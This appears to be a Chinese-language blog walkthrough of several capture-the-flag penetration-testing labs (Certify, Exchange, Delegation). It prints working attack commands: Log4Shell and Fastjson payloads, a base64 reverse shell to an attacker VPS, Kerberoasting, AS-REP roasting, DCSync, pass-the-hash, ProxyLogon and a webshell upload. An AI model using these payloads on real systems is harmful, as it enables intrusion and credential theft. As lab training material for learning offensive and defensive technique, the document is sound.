  • 当某个域内用户试图访问域中的某个服务,于是输入用户名和密码,本机的Kerberos服务会向KDC(密钥分发中心,域控)的AS(认证服务)发送一个AS-REQ认证请求。

  • 请求包中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTLM Hash加密的时间戳)以及些其他信息。

AS-REP回复:

  • 当KDC(密钥分发中心,域控)接收到请求之后,通过AD(活动目录,用户数据库)查询得到该用户的密码Hash,用该密码Hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,于是预认证成功。KAS(增强 Kerberos 认证协议安全性的技术)成功认证对方的身份之后,发送响应包给客户端。
  • 响应包中主要包括:krbtgt.用户的NTLM Hash加密后的TGT认购权证(即ticket这部分)和用户NTLM Hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。
  • Login Session Key的作用是用于确保客户端和KDC下阶段之间通信安全。
  • TGT主要包含原始的Login Session Key、时间戳和PAC。PAC中包含用户的SID,用户所在的组等一些信息。

攻击条件:需要用户账号设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) “ 。(该属性默认是没有勾选上的,需要特地设置但是正常一般不会勾选)

参考文章:内网渗透(五) | AS-REP Roasting攻击内网渗透 | 域内认证之Kerberos协议详解

得到域用户名的字典之后,枚举出Kerberos认证的用户(减少字典的用户数量)

我们利用kerbrute进行域用户枚举(这里我在kali和windows中试了半天没成功所以直接将工具和user.txt上传到neo4j中直接运行就出来了)

1
2
3
4
5
6
./kerbrute userenum --dc 172.22.6.12 -d xiaorang.lab user.txt -t 10

//userenum: 指定用户枚举
//--dc:指定要连接的域控制器的 IP 地址
//-d:指定域名
//-t:线程数

得到了74个Kerberos 认证的用户,将结果复制到user111.txt

由于当前的本机不在域内,所以只能通过GetNPUsers来进行爆破

1
2
proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user111.txt xiaorang.lab/
或proxychains impacket-GetUsers -dc-ip 172.22.6.12 -usersfile user111.txt xiaorang.lab/

得到两个用户的AS-REP 响应,将其复制到user222.txt中。

将搜集到的AS-REP响应使用hashcat解密一下

1
2
3
4
5
6
7
8
9
//解压一下rockyou.txt字典
gzip -d /usr/share/wordlists/rockyou.txt.gz

//解密
hashcat -m 18200 user222.txt -a 0 /usr/share/wordlists/rockyou.txt --force
//-m 18200: 这部分指定了要破解的哈希类型,18200 对应于 NetNTLMv2 哈希。
//-a 0: 这部分指定了攻击模式,0 表示直接破解模式(直接暴力破解)。
//rockyou.txt: RockYou字典是一个非常常用的密码字典,包含了大量常见密码,kali里自带但是需要解压一下。
//--force: 这部分强制执行攻击,即忽略一些警告和错误。

获得账号和密码

1
2
[email protected]/strawberry
[email protected]/hellokitty
域环境分析

使用RDP连接172.22.6.25登录看看

上传SharpHound.exe直接复制粘贴到远程桌面里就行

1
SharpHound.exe -c all

将zip导入到BloodHound中分析

1
2
3
4
5
6
//启动neo4j
neo4j console

//启动BloodHound
cd BloodHound
./BloodHound --no-sandbox

查看最短到达域管理员的路径,发现是yuxuan用户

所以我们需要登录到yuxuan用户

抓Windows自动登录密码

查看一下当前的已登录用户的信息

1
query user

发现yuxuan已经自动登录了

自动登录:用户与计算机进行会话时,凭据会保留在内存中。

说明yuxuan这个用户登录过WIN2019并且将将计算机设置自动登录,直接获取这个凭据

1
2
3
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
//reg query:用于查询Windows注册表中的特定键和值。
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon键:包含了与 Windows 登录过程相关的配置信息。

得到密码

1
Yuxuan7QbrgZ3L

重新连接RDP登录Yuxuan用户

SID历史功能滥用

回到上面分许域的结果可以发现有一个HasSIDHistory属性

HasSIDHistory属性:允许用户和组在迁移到新域后继续访问旧域中的资源,也就是相当于拥有旧域的权限

所以yuxuan用户其实拥有域管理员的权限,直接上传mimikatz获取域管理员的哈希。

1
2
lsadump::dcsync /domain:xiaorang.lab /all /csv
//提取整个域中的用户凭据,并将结果导出为 CSV 文件。

得到域管理员的哈希

1
04d93ffd6f5f6e4490e0de23f240a5e9

有了域管理员的哈希,其实就已经可以控制整个域了

WMI横向

直接利用impacket套件里的wmiexec进行横向(也可以用wmiexec.py脚本,一样的用法)

1
2
3
proxychains impacket-wmiexec  XIAORANG/[email protected]   -hashes :04d93ffd6f5f6e4490e0de23f240a5e9

proxychains impacket-wmiexec XIAORANG/[email protected] -hashes :04d93ffd6f5f6e4490e0de23f240a5e9

获取flag(flag一般放在C:\Users\Administrator\flag)

1
type C:\Users\Administrator\flag\flag*

1
2
flag03:flag{dd7fcb0c-b3ff-4e6c-b0a4-0623f06be8e7}
flag04:flag{ed13e541-5ab1-4d03-9be3-365214a38bc8}

总结:

Certify

工具准备:fscan、JNDIExploitJNDI-Injection-Exploit-1.0-SNAPSHOT-all、gost、proxifier、proxychains、hydra、GetUserSPN、scertipy-ad、wmiexec

知识点:CVE-2021-44228、SMB未授权访问、密码喷洒、Kerberoast攻击、SPN、ESC1、PTH

靶场介绍:Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

外网

信息搜集

nmap半开放扫一下端口

1
nmap -Pn -sT 39.98.123.248

有个web服务但是访问就是个站点啥也没有

直接用fscan扫一下

发现扫出来一个8993端口,是一个solr平台

CVE-2021-44228

访问查看一下配置项,发现有个log4j2。那么就可能存在CVE-2021-44228

测试一下DNSlog

在DNSlog平台请求一个dns域名,由于dnslog.cn打不开了所以这里用了别的平台dig.pm

访问下面的payload

1
http://39.98.123.248:8983/solr/admin/cores?action=${jndi:ldap://abd8a84e8c.ipv6.1433.eu.org}

再回到平台获取结果

在平台可以取到结果说明存在CVE-2021-44228

下面反弹shell有两种打法(这里两种方法都没弹成功重置了一下靶场)

法一:JNDIExploit

在vps运行JNDIExploit开启服务

1
2
cd JNDIExploit
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <vps_ip>

在vps里开启监听端口(注意vps要开全端口放行或者把java的所有端口放行,如果单开7777的话没法弹成功,试了半天了)

1
nc -lvvp 7777

回到solr访问下面的payload

1
/solr/admin/cores?action=${jndi:ldap://<vps_ip>:1389/Basic/ReverseShell/<vps_ip>/7777}

法二:JNDI-Injection-Exploit-1.0-SNAPSHOT-all

在vps运行(一样这里也要开全端口放行不然也会弹失败)

1
2
3
4
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88dnBzX2lwPi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A <vps_ip>

//base64解密
bash -i >& /dev/tcp/<vps_ip>/7777 0>&1

回到solr访问下面的payload

1
/solr/admin/cores?action=${jndi:ldap://38.12.42.163:1389/ceius2}

弹成后查看一下当前用户

找一下flag,但是在home目录里面没找到,想找root目录的话权限不够,那么就提权一下再找

grc提权

查看一下能使用哪些命令提权

1
sudo -l

可以发现利用grc可以提权,查看flag位置

1
sudo grc find ./root -name flag*

获取flag

1
sudo grc cat /root/flag/flag01.txt

1
flag01: flag{6d828252-1529-4bdc-aa2d-cad8c1efe053}

内网

信息搜集

查看一下网段

存在局域网,上传fscan进行扫描

1
2
3
4
5
6
7
//vps
python3 -m http.server 2201
//solr
cd tmp
wget -t 2 http://<vps_ip>:2201/fscan
chmod 777 fscan
./fscan -h 172.22.9.19/24

整理一下(这里不知道为什么扫不出来CA证书颁发服务器172.22.9.13

内网穿透

一样正向连接利用gost和proxifier做代理

上传gost并开启socks5代理

1
2
chmod 777 gost
./gost -L=admin:[email protected]:1080
配置proxifier

添加代理服务器

添加规则

测试

配置proxychains
1
vim /etc/proxychains4.conf

内网渗透

SMB未授权访问

用nmap扫一下172.22.9.47

1
2
proxychains nmap -sT -Pn 172.22.9.47
proxychains nmap --script vuln -p139,22,21,80,445 172.22.9.47

但是还是只扫出了ftp,但是不存在匿名访问弱口令也没爆出来。所以也没法打。

上面端口发现445端口是开放的,再加上扫出来172.22.9.47是一个fileserver,那么尝试一下SMB未授权访问

445-SMB (Server Message Block)

  • 用途:文件和打印机共享
  • 风险:未授权访问、中间人攻击
1
proxychains impacket-smbclient 172.22.9.47

直接就连上了

1
2
shares
use fileshare

发现有个secret目录在里面发现flag02.txt

获取flag02

1
2
3
cd secret
ls
cat flag02.txt

1
flag02: flag{d3a07399-9c1a-4910-afac-6b98b7d9ee11}
域渗透
密码喷洒

并且我们可以发现flag02.txt里给了一个提示

1
Yes, you have enumerated smb. But do you know what an SPN is?

SPN 用于 Kerberos 身份验证,确保客户端能够正确地找到和验证服务。

可以猜测到应该是用于后面剩下两台资产的身份验证。

除此之外,在根目录还发现有一个数据库文件,我们将其导出到navicat查看

1
get personnel.db

在xr_members表中我们可以发现email列里面的内容可能是域里面的用户(跟上一套一样)

在xr_users表中可以发现有个password列可能是域用户的密码

将两个表导出为csv文件

将两个文件复制到txt文件中,进行一系列操作得到最后的user.txt(用户名)和pass.txt(密码)(user.txt可以用我上面那一套的脚本也可以直接用文本编辑器里的替换为空)

将两个txt文本导入到kali中利用hydra对172.22.9.26进行rdp的密码喷洒

1
2
proxychains hydra -L user.txt -P pass.txt 172.22.9.26 rdp -vV >result.txt
//-vV:启用详细模式,提供更多的输出信息,帮助调试和分析。

可以得到两个有效的账户(这里我的hydra不知道什么问题扫出来很多个账号和密码但是都是不正确的,直接用了别人的结果)

1
2
zhangjian:i9XDE02pLVf
liupeng:fiAzGwEMgTY

但是都无法连上rdp

SPN

既然密码喷洒没法登录rdp,那么换种方式

根据上面flag02的提示,我们可以利用用户的SPN来得到密码

查找下域用户下的spn

1
2
3
proxychains -q impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
//-request:指定工具应请求目标域控制器上的SPN
//-dc-ip:指定目标域控制器的IP地址。

将spn复制到user111.txt中,用hashcat解密一下

1
hashcat -m 13100 -a 0 user111.txt /usr/share/wordlists/rockyou.txt --force

得到两个用户和密码

1
2
zhangxia:MyPass2@@6
chenchen:@Passw0rd@

现在再重新连接rdp就可以连接上了

但是上去后找不到flag且权限不够无法访问administrator目录,而且机子也不出网。

AD CS——ESC1

ESC1利用前提条件:

  • msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT

    表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员

  • PkiExtendedKeyUsage: Client Authentication

    表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证

  • Enrollment Rights: NT Authority\Authenticated Users

    表示允许Active Directory中任何经过身份验证的用户请求基于此证书模板生成的新证书

在上面内网信息搜集的时候172.22.9.7扫出来了一个poc-yaml-active-directory-certsrv-detect

poc-yaml-active-directory-certsrv-detect:用于检测Active Directory中CertSrv服务的YAML格式的漏洞检测脚本或配置文件。

在kali里利用certipy-ad查看一下证书情况,直接就把ESC1的漏洞扫出来了

1
2
3
proxychains certipy-ad find -u '[email protected]'  -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout
//-vulnerable:指示工具检查用户是否存在某种漏洞
//-stdout:指示将输出结果打印到标准输出(终端)

改一下kali里面的/etc/hosts(否则会超时)

1
vim /etc/hosts

利用 ESC1漏洞,通过申请XR Manager证书模版并伪造域管理员,得到administrator.pfx

XR Manager证书模板:通常用于指定在 Active Directory环境中颁发特定类型的证书

administrator.pfx:通常是一个包含管理员用户的私钥和相关证书的文件

1
2
3
4
proxychains certipy-ad req -u '[email protected]' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn '[email protected]'
//-ca:指定证书颁发机构(CA)的名称,这里是 'xiaorang-XIAORANG-DC-CA'
//-template:指定要使用的证书模板,这里是 'XR Manager'。
//-upn:指定用户主体名称(UPN),这里是 '[email protected]'。

用生成的administrator.pfx获取TGT票据和域管理员的NTLM哈希

1
proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7

得到域管理员哈希,此时相当于可以控制整个域了

1
2f1b57eefb2d152196836b0516abea80
WMI横向

打VMI横向获取flag03和flag04

1
2
3
proxychains impacket-wmiexec  XIAORANG/[email protected] -hashes :2f1b57eefb2d152196836b0516abea80

proxychains impacket-wmiexec XIAORANG/[email protected] -hashes :2f1b57eefb2d152196836b0516abea80

获取flag

1
type C:\Users\Administrator\flag\flag*

1
flag03: flag{6b813ef2-1e3f-4fab-ac0a-21c1e443091c}

1
flag04: flag{97677e0f-2c6f-45f3-8de3-5e2f51a5462c}

总结:

Exchange

工具准备:fscan、evil-mysql-serverMySQL_Fake_Server、gost、proxifier、proxyshellproxylogon、SharpHound和BloodHound、dacledit、secretsdump、wmiexec、pthexchange

知识点:华夏ERP一系列漏洞、CVE-2021-26855和CVE-2021-27065、writeDacl写DCSync、域内横向

靶场介绍:Exchange 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag,分布于不同的靶机。 *注意:该靶场只有4个flag,如果提交完4个flag后仍未攻克成功,请关闭环境提交反馈。

外网

信息搜集

1
fscan.exe -h 39.98.110.107

也可以用nmap扫描

1
2
3
4
5
6
7
nmap -Pn -sT 39.98.110.107

nmap -sS -sV -sC --min-rate=10000 39.98.110.107
//-sS:使用 SYN 扫描(半开放扫描)来检测目标主机的开放端口。SYN 扫描是一种快速且隐蔽的扫描方法。
//-sV:表示启用版本检测,用于确定开放端口上运行的服务的版本信息。
//-sC:表示使用默认的脚本扫描(默认脚本集),用于执行一些常见的网络扫描任务,如检测漏洞、收集信息等。
//--min-rate=10000:表示设置最小发包速率为每秒10000个包

80端口信息泄露

由于有个80端口是web网站,用dirsearch扫描一下

发现有个robots.txt

还有个download,存在信息泄露但是里面没东西没有什么用

华夏ERP漏洞

除此之外上面还扫出来8000端口也是一个入口网站

访问一下发现是华夏 ERP CMS v2.3

白名单越权

通过访问下面的payload可以Bypass访问到home.html等文件

1
2
3
/login.html/../home.html
/1.css/../home.html
/user/login/../../home.html

信息泄露

访问下面的payload可以得到管理员的密码

1
/user/getAllList;.ico
1
{"code":200,"data":{"userList":[{"id":63,"username":"季圣华","loginName":"jsh","password":"e10adc3949ba59abbe56e057f20f883e","position":"","department":null,"email":"","phonenum":"","ismanager":1,"isystem":1,"status":0,"description":"","remark":null,"tenantId":63},{"id":120,"username":"管理员","loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e","position":null,"department":null,"email":null,"phonenum":null,"ismanager":1,"isystem":0,"status":0,"description":null,"remark":null,"tenantId":null},{"id":131,"username":"测试用户","loginName":"test123","password":"e10adc3949ba59abbe56e057f20f883e","position":"","department":null,"email":"","phonenum":"","ismanager":1,"isystem":0,"status":0,"description":"","remark":null,"tenantId":63}]}}

登录后台

弱口令

可以直接利用弱口令登录后台

1
admin/123456

Fastjson反序列化RCE

首先看看存不存在这个洞(这里用bp来演示也可以用上面那个靶场的方法)

利用bp生成一个dns域名

用bp抓包运行下面url加密后的payload

1
2
3
4
{"@type":"java.net.Inet4Address","val":"67bdltyaefztrvp4c1pdaatpegk78ywn.oastify.com"}

//url加密
%7b%22%40%74%79%70%65%22%3a%22%6a%61%76%61%2e%6e%65%74%2e%49%6e%65%74%34%41%64%64%72%65%73%73%22%2c%22%76%61%6c%22%3a%22%36%37%62%64%6c%74%79%61%65%66%7a%74%72%76%70%34%63%31%70%64%61%61%74%70%65%67%6b%37%38%79%77%6e%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%22%7d

回到bp发现接收到了说明存在漏洞

法一:利用evil-mysql-server弹shell

下载evil-mysql-serverysoserial-all.jar并放在同一目录

在vps里运行

1
2
3
./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar

nc -lvvp 7777

将下面的payload进行url加密后访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vpsIP地址",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}
}

访问后即可getshell

法二:利用MySQL_Fake_Server弹shell

修改一下config.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"config":{
"ysoserialPath":"ysoserial-all.jar",
"javaBinPath":"java",
"fileOutputDir":"./fileOutput/",
"displayFileContentOnScreen":true,
"saveToFile":true
},
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php",
"ssrf":"https://www.baidu.com/",
"__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
},
"yso":{
"Jdk7u21":["Jdk7u21","calc"],
"CommonsCollections6":["CommonCollections6","bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}"]
}
}

ysoserial-all.jar和server.py放在同一目录

在vps里运行

1
2
3
4
nc -lvvp 7777

cd MySQL_Fake_Server
python3 server.py

回到bp中访问下面url加密后的payload

1
{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "<VPS-IP>", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,payload}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }

即可getshell

查看当前用户为root

查找flag位置(home或者root目录)

1
find ./root -name flag*

获取flag01

1
flag01: flag{83db52a3-8aa9-4141-986f-8028e2b0afbf}

内网

信息搜集

查看一下网段信息,存在局域网

上传fscan

1
2
3
4
python3 -m http.server 2201

//靶机
wget -t 2 http://<VPS_IP>:2201/fscan

扫描内网

1
2
chmod 777 fscan
./fscan -h 172.22.3.12/24

整理一下

内网穿透

跟上面几个靶场一样上传gost做代理

1
2
chmod 777 gost
./gost -L=admin:[email protected]:1080

配置proxifier、proxychains这里就不具体演示了

内网渗透

用nmap扫描一下172.22.3.9

1
proxychains -q nmap -sT -Pn 172.22.3.9

根据fscan里的结果访问一下https://172.22.3.9

发现是一个outlook电子邮箱

CVE-2021-26855

利用proxyshell

1
proxychains -q python3 proxyshell.py -t 172.22.3.9

可以得到用户名,但是不能直接getshell

1
[email protected]
CVE-2021-27065

得到用户名之后可以直接利用现成的poc:proxylogon

1
2
cd ProxyLogon
proxychains -q python2 proxylogon.py 172.22.3.9 [email protected]

getshell之后,可以直接拿到flag但是后面用rdp会比较方便些

添加用户

1
2
3
4
net user TG1u g123456@ /add
//添加用户和密码
net localgroup administrators TG1u /add
//将用户TG1u添加到本地管理员组

登录172.22.3.9连接rdp

获取flag02

1
flag02: flag{9bdfb615-adab-4263-b398-7887164a5349}
域渗透

上传mimikatz查看一下用户的密码(以管理员身份运行)

1
2
privilege::debug
sekurlsa::logonpasswords

筛选出两个用户的Hash(下面会用到)

1
2
3
4
5
Zhangtong
NTLM:22c7f81993e96ac83ac2f3f1903de8b4

XIAORANG-EXC01$
NTLM:fdfd5bada2b3c7dd34a46ccf9f007199
域环境分析

上传SharpHound搜集域环境

1
SharpHound.exe -c all

但是不知道为什么这里一直抓不到(用管理员启动也一样),这里直接贴别人的图了

定位到Exchange这个机器,发现他对域内用户具有WriteDacl

WriteDacl权限:是 Windows 安全权限中的一项,允许用户修改对象的自由访问控制列表(DACL)。

DACL:是对象安全描述符的一部分,指定哪些用户或组被允许或拒绝访问对象。

writeDacl写入DCSync权限

DCSync权限:是Active Directory中的一种特殊权限,允许用户或计算机账户从域控制器(DC)复制用户的哈希值。

利用WriteDacl权限添加Zhangtong用户的DCSync权限

由于运行dacledit会出现问题,需要自己添加msada_guids.py 到同一目录下,然后修改 dacledit.py中的from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTSimpacket.删掉就可以了(这里搞了半天才配好)

1
2
3
4
5
proxychains -q impacket-dacledit xiaorang.lab/XIAORANG-EXC01\$ -hashes :fdfd5bada2b3c7dd34a46ccf9f007199 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
//-action write:指定要执行的操作是写操作
//-rights DCSync:指定要授予的权限是 DCSync 权限。DCSync 权限允许用户复制域控制器上的所有哈希值。
//-principal Zhangtong:指定要授予权限的主体(用户或组)。
//-target-dn "DC=xiaorang,DC=lab":指定目标区别名(DN),即要修改权限的对象。

得到DCSync权限后,可以抓取域管理员的Hash

1
2
proxychains -q impacket-secretsdump xiaorang.lab/[email protected] -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm
//-just-dc-ntlm:指定只转储域控制器的NTLM哈希值。

获得域管理员的Hash

1
NTLM:7acbc09a6c0efd81bfa7d5a1d4238beb
WMI横向
1
proxychains -q impacket-wmiexec xiaorang.lab/[email protected] -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2 -codec gbk

获取flag04

1
type C:\Users\Administrator\flag\flag.txt

1
flag04: flag{17a5df35-b8f8-485f-bd12-cba7a3c7cec9}
1
proxychains -q impacket-wmiexec xiaorang.lab/[email protected] -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.26 -codec gbk

但是进入后找不到flag的位置

域内横向

下面有两种做法

法一:登录域控

172.22.3.2进行WMI横向后添加新用户并加入管理员组

1
2
net user TG1u g123456@ /add
net localgroup administrators TG1u /add

登录172.22.3.2连接rdp

修改Lumia这个账号的密码

登录Lumia这个账号

在桌面上可以看到一个secret.zip里面有flag但是需要密码

登录到邮箱可以看到提示密码就是电话号码,并给了一个csv文件

将csv文件里的电话复制到1.txt当作字典

1
2
zip2john secret.zip > hash.txt
john --wordlist=1.txt hash.txt

解压后即可得到flag03

1
flag03: flag{cf0c753c-233f-4729-8984-0746ea5878b7}

法二:利用pthexchange

上面抓取域控Hash的时候我们也可以得到Lumia的Hash

1
862976f8b23c13529c2fb1428e710296

利用pthexchange可以导出里面的全部邮件及其附件

1
proxychains -q python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download

跟上面一样爆破就行

总结:

Delegation

工具准备:fscan、suo5、proxifier、proxychains、hydra、msf、secretsdump、bloodhound-python、Rubeus、dfscoercePetitPotam、mimikatz、wmiexec或psexec

知识点:cmseasy系列漏洞、diff越权、密码喷洒、RDP远程重置过期密码、注册表提权、非约束性委派攻击

靶场介绍:Delegation是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

外网

信息搜集

用fscan扫描一下

1
fscan.exe -h 39.98.109.138

再用nmap扫一下

1
nmap -sS -sV -sC --min-rate=10000 39.98.109.138

根据结果访问一下80端口的/admin,有个后台登录,并且可以发现cmseasy版本为7.7.5

搜索一下相关的漏洞

cmseasy漏洞

弱口令

用弱口令可以登录后台

1
admin/123456

SQL注入

代码中传入参数 sql, 然后使用方法 unlockString 解码执行 SQL语句

1
2
3
/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5

//SELECT * FROM `cmseasy_user` WHERE `username`="admin";','cmseasy_sql'

访问后即可得到admin账号的密码

CVE-2021-42643

登录后台后bp抓包

打现成的poc

1
2
3
4
/index.php?case=template&act=save&admin_dir=admin&site=default

sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php phpinfo();?>
//.._d_ 代表 ../,此处用来路径穿越

访问1.php

存在漏洞那么我们写入一句话木马进行getshell

进入后查看flag位置

1
find /home -name flag*

但是发现权限不够

权限为www-data,我们进行提权

diff越权

进入后发现不能用sudo进行提权

查看一下suid

1
find / -user root -perm -4000 -print 2>/dev/null

发现还可以通过diff越权查看文件

获取flag01

1
diff --line-format=%L /dev/null /home/flag/flag01.txt

1
flag01: flag{b98c8617-3701-421f-91c6-f0220a068ced}

除此之外我们还可以发现给力hint

1
2
WIN19\Adrian
I'll do whatever I can to rock you...

可以猜测是内网的域用户并且用rockyou爆破,后面应该能用的上

内网

信息搜集

ifconfig查看一下网段

存在局域网,上传一个fscan进行扫描(直接拖一个进去)

1
2
chmod 777 fscan
./fscan -h 172.22.4.36/24

在result.txt查看结果

整理一下

内网穿透

由于是蚁剑做正向代理比较不方便

这里用suo5做反向代理

上传suo5.php后再vps上执行

1
./suo5 -t http://39.98.109.138/suo5.php -l 0.0.0.0:4444

配置proxifier

添加代理

添加规则

配置proxychains
1
vim /etc/proxychains4.conf

测试

内网渗透

密码喷洒

根据上面信息搜集的结果我们先来看一下win19这台机子(可能与上面的hint有关)

用nmap半开放扫描一下172.22.4.45

1
proxychains -q nmap -sT -Pn 172.22.4.45

可以发现3389端口是开放的那么我们可以登录到远程桌面

根据提示用rockyou字典爆破一下WIN19\Adrian用户的密码

1
proxychains -q hydra -l Adrian -P /usr/share/wordlists/rockyou.txt 172.22.4.45 rdp -vV

还是跟之前一样一堆误报(真的艹蛋),直接用别人爆出来的密码了

1
Adrian/babygirl1

登录rdp,但是发现密码过期了

RDP 远程重置过期密码

在kali里利用rdesktop远程更改密码

1
proxychains rdesktop 172.22.4.45 

更改成功后登录rdp

但是找了一圈并没有flag并且权限也不够。

注册表提权

可以发现桌面上有一个PrivescCheck文件夹

PrivescCheck :是一种用于检查 Windows系统中潜在权限提升漏洞的工具。

这里已经给我们运行完了,直接看生成的 html文件

可以发现两个高危问题,一个是 WSUS配置问题,另一个是注册表服务问题。

WSUS(Windows Server Update Services):是微软提供的一种服务,用于管理和分发 Windows 更新。它允许管理员在内部网络中集中管理和控制 Windows 操作系统和其他 Microsoft 产品的更新。通过 WSUS,管理员可以选择性地批准、测试和部署更新,而不是依赖于每台计算机单独从互联网下载更新。

WSUS 更多的是被利用来横向移动,很少看到通过 WSUS 进行本地提权

而且当前的 WSUS 配置存在的安全风险主要是由于使用了不安全的 HTTP URL,没啥影响的其实。

所以这里我们就利用另一个漏洞,用注册表提权。

可以看到当前用户对gpupdate服务的注册表项具有写权限,并且用户也可以启动和停止gpupdate服务

因此我们可以利用注册表提取

利用msf生成木马程序

1
2
3
4
5
msfvenom -p windows/x64/exec cmd='C:\windows\system32\cmd.exe /c C:\users\Adrian\Desktop\sam.bat ' --platform windows -f exe-service > 1.exe
//-p:指定要使用的有效载荷(payload)。在这里,windows/x64/exec表示一个Windows 64位的执行命令有效载荷。
//cmd:指定有效载荷执行的命令。/c表示使用 Windows 命令提示符(cmd.exe)执行后面的命令。
//--platform:指定目标平台为Windows。
//-f:指定生成的有效载荷文件格式。在这里,exe-service表示生成一个Windows服务可执行文件。

写一个sam.bat将 Windows 注册表的特定配置单元(hives)保存到文件,然后上传到win19

1
2
3
4
5
6
7
8
9
//sam.bat
reg save hklm\system C:\Users\Adrian\Desktop\system
reg save hklm\sam C:\Users\Adrian\Desktop\sam
reg save hklm\security C:\Users\Adrian\Desktop\security
//reg save:是Windows注册表编辑器(reg.exe)的一个命令,用于将注册表的配置单元保存到文件。
//hklm:表示HKEY_LOCAL_MACHINE,是Windows注册表的一个主键。
//system:表示HKEY_LOCAL_MACHINE下的一个配置单元,包含系统配置信息,如硬件配置、服务配置等。
//sam:表示HKEY_LOCAL_MACHINE下的一个配置单元,包含安全账户管理器(SAM)数据,如用户账户和密码信息。
//security:表示HKEY_LOCAL_MACHINE下的一个配置单元,包含安全配置信息,如访问控制列表(ACL)和安全策略。

上传后只要执行1.exe就会运行bat文件从而写入配置

但是1.exe无法通过管理员身份直接运行,所以得要利用上面的漏洞,修改注册表的gpupdate服务

在注册表中打开上面给的gpupdate服务的路径,将路径修改为上传的木马程序的路径

也可以直接用命令来修改

1
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\1.exe" /f

启动gpupdate服务即可执行1.exe从而执行sam.bat

1
sc start gupdate

可以看到生成了三个文件,也就是我们提权所需要的

将其导到kali利用secretsdump解一下

secretsdump:Impacket工具包中的一个工具,用于从 Windows 系统中提取敏感信息。

1
2
impacket-secretsdump LOCAL -system system -sam sam -security security
//LOCAL:指定目标系统为本地系统。

得到Administrator用户的Hash

1
Administrator:ba21c629d9fd56aff10c3e826323e6ab
WMI横向

得到Administrator用户的Hash后我们就可以利用WMI横向得到172.22.4.45的最高权限shell

1
proxychains -q impacket-wmiexec [email protected] -hashes :ba21c629d9fd56aff10c3e826323e6ab -codec gbk

获取flag02

1
type C:\Users\Administrator\flag\flag02.txt

1
flag02: flag{4d963ed8-ea0c-4f1e-973c-96fb60444fd6}

但是我们会发现并不能直接通过WMI横向得到另外两台机子的shell

